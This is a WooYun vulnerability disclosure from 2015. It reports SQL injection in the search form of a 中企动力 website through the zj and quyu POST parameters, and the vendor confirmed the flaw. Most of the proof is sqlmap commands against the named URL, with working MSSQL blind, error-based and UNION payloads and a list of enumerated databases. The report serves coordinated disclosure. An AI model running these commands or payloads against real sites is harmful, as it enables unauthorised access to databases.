当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127312

漏洞标题:中企动力科技股份有限公司某站搜索框注入

相关厂商:中企动力科技股份有限公司

漏洞作者: 凌零1

提交时间:2015-07-20 17:07

修复时间:2015-09-03 17:16

公开时间:2015-09-03 17:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-20: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向核心白帽子及相关领域专家公开
2015-08-09: 细节向普通白帽子公开
2015-08-19: 细节向实习白帽子公开
2015-09-03: 细节向公众公开

简要描述:

又找了一下,还是交吧!!00

详细说明:

http://ku.cetools.cn/searchal.asp
post:keyword=2014&taocan=&zj=&hy=&lx=&quyu=
注入点:zj/quyu

WBM20`~5}X[NBSEXZPY%JJ9.png

漏洞证明:

C:\Python27\sqlmap>sqlmap.py -u "http://ku.cetools.cn/searchal.asp" --data "keyw
ord=2014&taocan=&zj=&hy=&lx=&quyu=" -p "zj"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:04:55
[11:04:56] [WARNING] provided value for parameter 'zj' is empty. Please, always
use only valid parameter values so sqlmap could be able to run properly
[11:04:56] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:04:56] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: zj (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=&tao
can=&zj=1 AND 4820=4820
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=&tao
can=&zj=1 AND 9818=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+C
HAR(113)+(SELECT (CASE WHEN (9818=9818) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(1
13)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=&tao
can=&zj=(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE
WHEN (2355=2355) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+
CHAR(113)+CHAR(113))
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=&tao
can=&zj=-1126 UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)
+CHAR(107)+CHAR(72)+CHAR(121)+CHAR(79)+CHAR(78)+CHAR(112)+CHAR(65)+CHAR(119)+CHA
R(69)+CHAR(114)+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)--
---
[11:04:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[11:04:57] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\ku.cetools.cn'


C:\Python27\sqlmap>sqlmap.py -u "http://ku.cetools.cn/searchal.asp" --data "keyw
ord=2014&taocan=&zj=&hy=&lx=&quyu=" -p "quyu"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:06:25
[11:06:25] [WARNING] provided value for parameter 'quyu' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[11:06:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:06:25] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: quyu (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=1 AN
D 4630=4630&taocan=&zj=
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=1 AN
D 7775=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SE
LECT (CASE WHEN (7775=7775) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)
+CHAR(122)+CHAR(113)+CHAR(113)))&taocan=&zj=
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=(SEL
ECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4957=4
957) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CH
AR(113))&taocan=&zj=
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: button=1&hy=&keyword=%e6%90%9c%e7%b4%a2%e8%ae%be%e8%ae%a1%e5%b8%88/
%e6%a1%88%e4%be%8b%e5%85%ac%e5%8f%b8%e5%90%8d%e7%a7%b0/%e6%a1%88%e4%be%8b%e7%bc%
96%e5%8f%b7/%e6%a1%88%e4%be%8b%e6%89%80%e5%b1%9e%e8%a1%8c%e4%b8%9a&lx=&quyu=-562
2 UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(104)+C
HAR(70)+CHAR(77)+CHAR(108)+CHAR(85)+CHAR(71)+CHAR(66)+CHAR(115)+CHAR(76)+CHAR(83
)+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(113)+CHAR(113)-- &taocan=&zj=
---
[11:06:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[11:06:26] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\ku.cetools.cn'


available databases [8]:
[*] anliku
[*] fengxiang
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

E0`JCII1P@]$@KEE@`$15%O.png


修复方案:

过滤

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-20 17:15

厂商回复:

非常感谢。

最新状态:

暂无


漏洞评价:

评论